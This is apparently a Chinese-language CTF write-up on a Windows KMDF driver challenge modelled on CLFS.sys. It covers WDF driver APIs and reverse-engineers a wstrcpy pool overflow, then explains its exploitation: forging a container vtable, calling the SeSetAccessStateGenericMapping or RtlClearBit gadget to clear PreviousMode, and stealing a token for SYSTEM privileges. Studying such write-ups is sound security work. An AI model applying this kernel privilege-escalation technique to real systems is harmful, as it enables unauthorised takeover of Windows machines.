WDF PWN
看起来作者深受 CLFS.sys 迫害
WDF 框架
学!Windows Driver Frameworks
DeviceEntry
依然是入口
- 添加WDF Device的回调函数
- 创建WDF Driver
WDF_XXX
WDFDRIVER
WDF_DRIVER_CONFIG
1 2 3 4 5 6 7 8 9 10 11 12
| typedef struct _WDF_DRIVER_CONFIG { ULONG Size; PFN_WDF_DRIVER_DEVICE_ADD EvtDriverDeviceAdd; PFN_WDF_DRIVER_UNLOAD EvtDriverUnload; ULONG DriverInitFlags; ULONG DriverPoolTag; } WDF_DRIVER_CONFIG, *PWDF_DRIVER_CONFIG;
void WDF_DRIVER_CONFIG_INIT( [out] PWDF_DRIVER_CONFIG Config, [in, optional] PFN_WDF_DRIVER_DEVICE_ADD EvtDriverDeviceAdd );
|
创建驱动
1 2 3 4 5 6 7
| NTSTATUS WdfDriverCreate( [in] PDRIVER_OBJECT DriverObject, [in] PCUNICODE_STRING RegistryPath, [in, optional] PWDF_OBJECT_ATTRIBUTES DriverAttributes, [in] PWDF_DRIVER_CONFIG DriverConfig, [out, optional] WDFDRIVER *Driver );
|
WDFDEVICE
创建设备
1
| WDFDEVICE_INIT *DeviceInita
|
GUID interface
1 2 3 4 5
| NTSTATUS WdfDeviceCreateDeviceInterface( [in] WDFDEVICE Device, [in] const GUID *InterfaceClassGUID, [in, optional] PCUNICODE_STRING ReferenceString );
|
KMDF也可以指定symlink,这就与WDM类似了
1 2 3 4
| NTSTATUS WdfDeviceCreateSymbolicLink( [in] WDFDEVICE Device, [in] PCUNICODE_STRING SymbolicLinkName );
|
IO Queue
初始化
1 2 3 4 5 6 7 8 9 10 11 12
| void WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE( [out] PWDF_IO_QUEUE_CONFIG Config, [in] WDF_IO_QUEUE_DISPATCH_TYPE DispatchType );
typedef enum _WDF_IO_QUEUE_DISPATCH_TYPE { WdfIoQueueDispatchInvalid = 0, WdfIoQueueDispatchSequential, WdfIoQueueDispatchParallel, WdfIoQueueDispatchManual, WdfIoQueueDispatchMax } WDF_IO_QUEUE_DISPATCH_TYPE;
|
_WDF_IO_QUEUE_CONFIG
结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| typedef struct _WDF_IO_QUEUE_CONFIG { ULONG Size; WDF_IO_QUEUE_DISPATCH_TYPE DispatchType; WDF_TRI_STATE PowerManaged; BOOLEAN AllowZeroLengthRequests; BOOLEAN DefaultQueue; PFN_WDF_IO_QUEUE_IO_DEFAULT EvtIoDefault; PFN_WDF_IO_QUEUE_IO_READ EvtIoRead; PFN_WDF_IO_QUEUE_IO_WRITE EvtIoWrite; PFN_WDF_IO_QUEUE_IO_DEVICE_CONTROL EvtIoDeviceControl; PFN_WDF_IO_QUEUE_IO_INTERNAL_DEVICE_CONTROL EvtIoInternalDeviceControl; PFN_WDF_IO_QUEUE_IO_STOP EvtIoStop; PFN_WDF_IO_QUEUE_IO_RESUME EvtIoResume; PFN_WDF_IO_QUEUE_IO_CANCELED_ON_QUEUE EvtIoCanceledOnQueue; union { struct { ULONG NumberOfPresentedRequests; } Parallel; } Settings; WDFDRIVER Driver; } WDF_IO_QUEUE_CONFIG, *PWDF_IO_QUEUE_CONFIG;
|
Ring3 与 Ring0
通信依然使用 DeviceIoControl
,但是需要使用 GUID
获得驱动的名字
ring0获得ring3 buffer:inbuffer和outbuffer
1 2 3 4 5 6 7 8 9 10 11 12 13
| NTSTATUS WdfRequestRetrieveInputBuffer( [in] WDFREQUEST Request, size_t MinimumRequiredLength, [out] PVOID *Buffer, [out, optional] size_t *Length );
NTSTATUS WdfRequestRetrieveOutputBuffer( [in] WDFREQUEST Request, [in] size_t MinimumRequiredSize, [out] PVOID *Buffer, [out, optional] size_t *Length );
|
ring3通过guid与ring0通信
WDF逆向:Reverse_Engineering_and_Bug_Hunting_On_KMDF_Drivers
通信,来自代码仓 - hustd10/Windows-Driver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| DEFINE_GUID(WDF_GUID, xxxx, xx, xx, x,x,x,x,x,x,x,x);
void GetInterfaceDevicePath(GUID* guid) { DWORD requiredSize; int MemberIdx = 0; HDEVINFO hDeviceInfoset = SetupDiGetClassDevs(guid, NULL, 0, DIGCF_DEVICEINTERFACE | DIGCF_PRESENT); if (hDeviceInfoset != INVALID_HANDLE_VALUE) { SP_DEVICE_INTERFACE_DATA DeviceInterfaceData = { 0 }; DeviceInterfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA); while (SetupDiEnumDeviceInterfaces(hDeviceInfoset, NULL, guid, MemberIdx, &DeviceInterfaceData)) { MemberIdx++; SP_DEVINFO_DATA DeviceInfoData = { 0 }; DeviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA); SetupDiGetDeviceInterfaceDetail(hDeviceInfoset, &DeviceInterfaceData, NULL, 0, &requiredSize, NULL); SP_DEVICE_INTERFACE_DETAIL_DATA* DevIntfDetailData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, requiredSize); DevIntfDetailData->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA); if (SetupDiGetDeviceInterfaceDetail(hDeviceInfoset, &DeviceInterfaceData, DevIntfDetailData, requiredSize, &requiredSize, &DeviceInfoData)) { printf("DevicePath: %S\n", (TCHAR*)DevIntfDetailData->DevicePath); } HeapFree(GetProcessHeap(), 0, DevIntfDetailData); } SetupDiDestroyDeviceInfoList(hDeviceInfoset); } }
|
工具
加载驱动
刚开始是和WDM一样,OSRLoader加载,但是后面找不到设备。因此快速入门了一下开发,发现可以使用WDK里面的工具安装
需要根据inf
文件的内容,使用如下的格式进行安装(直接安装到C:\System32\drivers
,开机自启)
1 2
| devcon.exe install xxx.inf root\xxx
|
WDM也可以根据命令行进行加载 sc.exe
1
| sc <server> [command] [service name] <option1> <option2>
|
驱动逆向
有符号表,比较友好
获得对应的目录,将pdb放入,就可以带符号调试
ceateMyLogFile
InBuf
指定 filename
logfilemem
BIGPOOL 转化为struct myLOG_HEADER
logfilemem->logname
POOL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| struct myLOG_HEADER { myCLFS_METADATA_RECORD_HEADER hdrBaseRecord; unsigned __int64 logID; wchar_t *logName; unsigned int Containers; unsigned int cbBusyContainers; unsigned int rgContainers[128]; unsigned int cbSymbolZone; unsigned int cbSector; };
struct myCLFS_METADATA_RECORD_HEADER { unsigned int magic; };
|
add container
- 传递参数
addLogContainer_parm
,根据name创建一个 myContainer
- cbSymbolZone 偏移,结构体的下一个起始位置
- rgContainers 在POOL中的起始位置
- Containers 记录个数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| struct addLogContainer_parm { void *logFile; unsigned int nameLen; wchar_t containerName[]; };
struct __cppobj myContainer : baseContainer { };
struct __cppobj baseContainer { baseContainer_vtbl *__vftable ; char *data; const wchar_t *fileName; };
struct baseContainer_vtbl { void (__fastcall *write_data)(baseContainer *this, char *); void (__fastcall *removeContainer)(baseContainer *this); void (__fastcall *releaseContainer)(baseContainer *this); void (__fastcall *read_data)(baseContainer *this, char *); int (__fastcall *read_meta_data)(baseContainer *this); };
void __fastcall myContainer::write_data(myContainer *this, char *data) { strncpy_0(this->data, data, 0x200ui64); } void __fastcall myContainer::read_data(myContainer *this, char *data) { strncpy_0(data, this->data, 0x200ui64); }
this->data = (char *)ExAllocatePool2(64i64, 0x7228i64, 'gl3d');
|
记录下一个块的偏移
1 2 3 4 5
| if ( logFile->Containers ) { thisContainer->cbPrevOffset = logFile->rgContainers[logFile->Containers - 1]; *(unsigned int *)((char *)&logFile->rgContainers[47] + logFile->rgContainers[logFile->Containers - 1]) = logFile->rgContainers[logFile->Containers]; }
|
read/writeLogRecord
这个context
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| struct __declspec(align(8)) LogRecord_parm { void *logFile; int ContainerID; char data[512]; };
struct my_CLFS_CONTAINER_CONTEXT { unsigned __int64 cidContainer; wchar_t containerName[100]; union { myContainer *pContainer; unsigned __int64 ullAlignment; }; unsigned int cbPrevOffset; unsigned int cbNextOffset; };
|
remove container
- 修改了
cbNextOffset
,修改偏移 cbSymbolZone
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| struct __declspec(align(8)) removeLogContainer_parm { void *logFile; int ContainerID; };
__int64 __fastcall removeLogContainer(myLOG_HEADER *logFile, signed int ContainerID) { my_CLFS_CONTAINER_CONTEXT *thisContainer; myContainer *pContainer;
if ( ContainerID < 0 || ContainerID > logFile->Containers ) return 0xFFFFFFFFi64; thisContainer = (my_CLFS_CONTAINER_CONTEXT *)((char *)logFile + logFile->rgContainers[ContainerID]); pContainer = thisContainer->pContainer; if ( pContainer ) myContainer::`scalar deleting destructor'(pContainer, 1); *(unsigned int *)((char *)&logFile->rgContainers[46] + thisContainer->cbNextOffset) = thisContainer->cbPrevOffset; logFile->cbSymbolZone -= 0xE0; --logFile->Containers; return 0i64; }
|
closeLogFile:清空所有的container以及logfileMem
其大致内存结构,在一个BIGPOOL中
1 2 3 4 5 6 7
| myLOG_HEADER 大小0x228 cbSymbolZone 表示可用内存的起始地址
注册一个container 最多可以注册128个 my_CLFS_CONTAINER_CONTEXT 0xe0 pContainer 0x18 myContainer 结构体 cbPrevOffset 记录前一个 container 起始地址偏移 cbNextOffset 记录后一个起始地址偏移
|
这个wstrcpy
溢出写,containerName 我们传入,长度随意,thisContainer->containerName
只有100的长度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| wstrcpy(thisContainer->containerName, containerName, len);
void __fastcall wstrcpy(wchar_t *dst, wchar_t *src, int len) { int i;
for ( i = 0; i < len + 1; ++i ) dst[i] = src[i]; }
struct my_CLFS_CONTAINER_CONTEXT { unsigned __int64 cidContainer; wchar_t containerName[100]; union { myContainer *pContainer; unsigned __int64 ullAlignment; }; unsigned int cbPrevOffset; unsigned int cbNextOffset; };
|
没有限制的溢出,我们查一下池的基地址,将container地址改成池中的地址,然后覆盖container地址,伪造一个container
1 2 3 4
| logfileMem = (myLOG_HEADER *)ExAllocatePoolWithTag(NonPagedPool, 0x7228ui64, 0x4C674673u);
this->data = (char *)ExAllocatePool2(64i64, 0x7228i64, 'gl3d');
|
Exploit
我首先尝试了使用给出的任意读写原语。
- 多次蓝屏后意识到这根本不是
strcpy
,而是 memcpy
,没有\x00
截断
- 因此尝试读写token有点问题,长度0x200的memcpy,写入0x200 token直接蓝屏,并且接收不到内容
NonPagedPool是可执行的,但是因为shellcode里存在 0x0000
无法直接写入全部shellcode,可以尝试ROP
使用了HEVD:mov esp gadget
,直接失败了,显示访问非法内存。
CLFS ROP CVE 存在相关,不错的gadget: RtlClearBit
和 SeSetAccessStateGenericMapping
SeSetAccessStateGenericMapping 修改 _ETHREAD._KTHREAD.PreviousMode
1 2 3 4 5 6
| 0: kd> u SeSetAccessStateGenericMapping nt!SeSetAccessStateGenericMapping: fffff800`06e712b0 488b4148 mov rax,qword ptr [rcx+48h] fffff800`06e712b4 0f1002 movups xmm0,xmmword ptr [rdx] fffff800`06e712b7 f30f7f4008 movdqu xmmword ptr [rax+8],xmm0 fffff800`06e712bc c3 ret
|
此处rcx是pContainer,已知
1
| thisContainer->pContainer->read_data(thisContainer->pContainer, data);
|
[rdx]
可以是0(用户buffer),rax+8
设置为_ETHREAD._KTHREAD.PreviousMode
地址。
SeSetAccessStateGenericMapping偏移我实在windbg直接找,不够自动化,看CVE时发现可以使用找函数的方法来直接获得😋
1 2 3 4 5 6 7 8 9
| HMODULE ntos_userBase = LoadLibraryExW(L"ntoskrnl.exe", 0, 1); if (ntos_userBase) { v22a = GetProcAddress(ntos_userBase, "SeSetAccessStateGenericMapping"); } offset_SeSetAccess = (UINT64)v22a - (UINT64)ntos_userBase; printf("[+] Offset SeSetAccessStateGenericMapping ----------> %p\n", offset_SeSetAccess); fnSeSetAccessStateGenericMapping = ntos_kernelBase + offset_SeSetAccess;
|
因此最后修改 PreviousMode
为0,任意地址读写,修改token,提权成功。
代码仓库 - CTF WP
使用 RtlClearBit
也可以构造出同样的效果 - 是将 [rcx+8]
地址加上 edx
偏移置为0,但是这个edx还是得控制一下
1 2 3 4 5
| 0: kd> u nt!RtlClearBit nt!RtlClearBit: fffff802`1615c150 488b4108 mov rax,qword ptr [rcx+8] fffff802`1615c154 0fb310 btr dword ptr [rax], edx fffff802`1615c157 c3 ret
|
注意
WinDbg命令行
1
| windbg.exe -k -d net:port=<YourDebugPort>,key=<YourKey>
|
需要注意 ZwCreateFile
访问文件 C:\\Users:\\Public\\tmp.log
需要是 \\??\\C:\\Users\\Public\\tmp.log
才能正确识别
传入数据时,因为wstrcpy本身存在问题,因此可能访问不能访问的页
比如数据填满,就会访问后面的数据。
1 2
| AAAAAAAAAA <- 访问到这里时,溢出页大概率崩溃 PAGE
|
因此我们传递参数时,buffer后面需要加一个padding \x00\x00
避免访问未知内存而蓝屏(因为这个改了几小时的BUG😭
感觉还不错,赶在结束前做出来了,有点遗憾的是做完这个之后没精力看qemu逃逸那个题目了。